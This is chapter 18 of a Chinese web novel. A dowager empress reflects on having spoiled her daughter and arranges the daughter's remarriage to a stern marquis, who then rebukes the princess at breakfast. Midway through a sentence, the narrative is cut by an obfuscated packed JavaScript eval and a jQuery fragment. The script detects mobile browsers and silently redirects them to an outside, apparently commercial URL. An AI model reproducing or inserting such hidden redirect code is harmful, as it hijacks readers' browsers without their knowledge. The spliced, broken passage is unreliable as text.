18.第 18 章

作品:《县主只求富贵荣华

    灯火常燃,明辉不灭。


    小书房的宫人都像是宫廷本身的装饰,安静地立在一旁,不发出声响。


    程太后索性放下笔,转身和程曦面对面,直视彼此。


    程太后忽然笑了,她放松地撑着额头,笑道:“曦儿,你觉得我宠爱你母亲吗?”


    程曦张开嘴,刚要回答“宠爱至极”,但一想到,程太后前脚决定杀了驸马程玉,后脚就请永安侯裴俊进宫,让他无缝接替驸马的位置,她又不知道如何评价了。


    程太后自己倒是毫不介意。


    她笑着说:“哀家前面三十年过的不容易。后来先帝身体垮了,目不能视,哀家反而过上了独得圣宠的生活。你娘就是在那时候降生的。”


    “世间的女孩,少有像她这样,父亲喜欢柔软无力的孩子,母亲也想要通过她来弥补自己苦涩青春,于是被养得无法无天的。”


    程太后回忆起女儿刚及笄那年的模样,手情不自禁摸上程曦的脸蛋,脸上笑容变得无奈了不少:“鑫儿生得英气,先帝宠她,听信臣子和宫人都说鑫儿面貌集父母之所长的夸赞,一改‘富贵荣华、平安喜乐’这些吉祥字眼,给了鑫儿一个和阳光一样耀眼的‘日耀’做封号。”


    “可哀家不瞎,我知道那只是哄人的话,但鑫儿信了,真以为自己相貌出众。世人喜欢女人,永远是艳光逼人、明媚多情的脸……”


    “你这张脸,倒是真集世间容光,艳如朝霞。”


    程太后忍不住叹了一声,声音透出几分衰老,“程玉那个童养媳,哀家不是全不知晓,但我查到她膝下没有一个养活的孩子,又被程玉挪去他处,以为程玉至少脑子明白什么能做什么不能。既然鑫儿喜欢,就随便她成婚,养在身边玩一玩。”


    “程玉姓程,只要不过分,算是成全了哀家提拔娘家的意思;他又是无权无势的旁支,正好能俯身伺候哀家的掌上明珠。本该是天作之合。”


    结果在十几年后,变成一场笑话。


    “‘父母之爱子,则为之计深远’。哀家以为护着她就算是宠爱,可鑫儿如今三十岁多了,她的心智却一如孩提时,行事无度全凭个人喜恶。”


    程太后心疼地摩挲着程曦的脸颊:“等到她成婚后,明明不用自己养孩子,却还是一味任性,把你丢在宫中,让哀家教养,哀家终于发现……是我错了,我把她纵坏了。”


    程太后摇头,眼中隐含几分苦涩,“你虽托生在你娘肚子里,可你在我膝头一点点长大,政务看法、为人处事样样似我,在我这里的份量比你娘还要重几分。越是把你养大,哀家越发现是哀家没有教养好她。”


    “现在大错已成。哀家也不年轻了,我不知道哪一天会闭上眼睛,所以更要在没死之前,把她那些不好的性子硬扳回来。”


    程曦不禁有了猜测:“如此说来,永安侯是个稳妥的人选了?”


    程太后颔首:“他是个极有君子风的人,做事有章法又不失温情,家中子女也是这样的性子。不瞒你说,因为他太讲道理了,哀家自己是不待见这种人的。但他这样,治鑫儿的毛病正好。”


    “程家原本也是当地大户,咱家和裴家曾经通婚几回的。裴俊过世的亡妻,都和咱们程家沾亲带故。即便没有现在的婚事,你也要对他那几个孩子叫一声表哥表姐。等鑫儿再嫁了,你若喜欢就常去见见;若不耐烦,只管上渌水山房住着,哀家赐给你宅院,就是为了让你松快过日子的。”


    程太后的每一句都在回答她对女儿的感情和培养。


    这些话听在程曦耳朵里却表现出了另一层含义。


    ——程太后嘴里说着日耀长公主,实则却在回答程曦之前的问题。


    她是如何规划程曦未来的?


    在程曦牙牙学语的时候,程太后把程曦抱在膝头,用奏章上的字句为她开蒙。


    在程曦年级少长时候,带着她一起临朝听政,让她看着朝臣在外如何与人争长道短,阅尽权力倾轧。


    现在,程太后更是接着程曦捅出来的这桩“皇长子内宫偷”的烂事,把整个程家的枯枝烂叶都折进去,顺势给程曦开府选贤,自己招纳下属的机会。


    桩桩件件都与养活日耀长公主这个完全符合刻板印象的高门贵女不同。


    即便培养皇孙,程太后也没有花费过如此巨量的心血。


    ……她是程太后精神上的继承者。


    “外祖母,我明白了。”程曦停止追问。


    程太后摇摇头:“连哀家都还没把这条路走通,你能明白什么。”


    “先,走一步,看一步吧。”程太后停顿一瞬,随后低语。


    她重新把注意力放回程家的恶行中,程曦也继续记录。


    烛火彻夜不熄,月亮升上最高点的时候,程曦将誊抄好的记录放到程太后手边。


    程太后快速扫了一遍已经看过的罪证,把文书摔在桌面:“程辉……哀家真是小看他了。”


    灯火下,纸面赫然写着“岁时饥,军粮不至,以战马为食,开战无马,殆误战机”。


    难怪上一场大战准备了那么三年之久,却只得到一场惨胜,导致朝臣纷纷倒戈,投向成顺帝。


    原来其中还有她委以重任的好家人的手笔!


    “呵呵……”程太后捂住额头,笑声从低到高,“哀家还以为真有什么天命所归,才让我准备充分却只配惨胜,原来全是人祸。”


    她越看那罪证越是恼火,抓起文书几乎想再摔一摔解恨。


    “外祖母,别动手!不然我还要再抄一份。好多字呢,我手酸了。”程曦一脸尴尬的拦住程太后,急忙把文书抱进怀里护着。


    “你、你……唉!”程太后一时间哭笑不得,涨得她头疼的怒火散了大半,“好了,放开吧,哀家不摔你辛苦抄写的东西。”


    程太后干脆抻了个懒腰:“明日事,明日愁。夜深了,不折腾了,歇吧。”


    “你今晚还和哀家一起……”


    程曦抱着文书摇头:“外祖母,我今晚想回公主府。”


    “宫门早就落锁了。还回去做什么?”程太后直接吩咐,“你今晚继续宿在宫中,明日我让人把馨儿叫进宫来,一道用早膳。”


    提起女儿,程太后也是一阵头疼,带着程曦往寝殿的内殿走,嘴里情不自禁抱怨:“她即便再不喜欢永安侯,至少陛下也是她亲哥哥,也曾在她年幼时带她玩耍,怎么陛下病了,她不知道多进宫看看。”


    程曦不知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128495|194813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说什么,只能安安静静的。


    *


    程太后说到做到,第二天天一亮,她醒了就让成业亲自去接女儿和未来女婿全家进宫。


    倒是程曦年幼嗜睡,照旧睡到了日上三竿才清醒。


    完成梳洗穿衣,程曦来到饭厅,终于见到了没什么印象的永安侯。


    剑眉长眼,高挑修长。


    这副文雅的相貌顿时让程曦一愣。


    随即她反应过来“永安侯”的爵位是从上一代继承来的,在战场搏命的是上一代永安侯。


    现在的永安侯裴俊虽在军中任职,但他并不上战场。


    “荣昌县主。”永安侯裴俊短揖。


    县主位比公侯,与永安侯乃是同辈论处。


    短揖礼正好合适,但程曦得程太后宠爱,一般人都是对她长揖问候的。


    这位永安侯,还真和外祖母说的一样,是个极板正的人。


    程曦心中如此想,自然向永安侯回礼。


    “外祖母、母亲。”程曦含笑走向日耀长公主。


    日耀长公主低哼一声,但瞟了一眼在场的永安侯,勉强道:“你两日未归了,别总缠着你外祖母。”


    “母亲说的是,今日我就准备离宫了。”程曦往程太后脸上看了一眼,笑着补充,“外祖母正催我早些搬家去渌水山房呢。”


    日耀长公主茫然重复:“你要搬家?为什么要搬。那你,是不是要把他也带走了……”


    这个“他”,程曦脑子一转,推测大概是自己那晚送到回雪楼的战奴。


    程曦:“……”


    不愧是她母亲,马上就被人骗了,开始替别人说话,真是毫不意外的问题。


    程曦余光瞥向永安侯,心虚道:“母亲,他们都是女儿从战俘中挑出的人才,文武兼备,且有襄国的战功在身。”


    日耀长公主天真无比地反问:“那你为何还让他们为奴。应该许以高位,让他们入朝为官?”


    程曦:“……”


    夏国人出生入死一辈子都未必能有登上天子堂的机会,襄国战俘在战场上杀夏人有功,就可以轻易上台?


    她母亲这是要毁了夏国的根基么。


    程曦深吸一口气,努力好声好气地解释:“母亲,倒也不必对他们如此高看。”


    “你什么意思,说的颠来倒去的。他们到底有没有本事?”日耀长公主质问。


    程曦看向程太后,指望外祖母帮忙解决麻烦的亲娘,程太后却微微对她摇头,没有一点插手的意思。


    程曦正纳闷,站在日耀长公主下首,等待入席的永安侯已经面无表情地说:“襄国精锐,平均每人杀我军六人。安置一名殉国军人,需纹银六两、粟米五石。若战奴是襄国将领,每人手上的人命更不会少于三十条,毁掉多少家庭。”


    “太后仁善,只将战俘调入京中修缮城墙、挖掘河道,未直接斩首要其性命。长公主食万民供养,安敢让反贼入朝,坏我夏国社稷?”


    日耀长公主顿时涨红脸,怒气冲冲地瞪着永安侯。


    程曦坐在边上,简直想给永安侯鼓掌。


    真正的猛士!


    难怪上次母亲进宫跟他一起吃饭,不欢而散。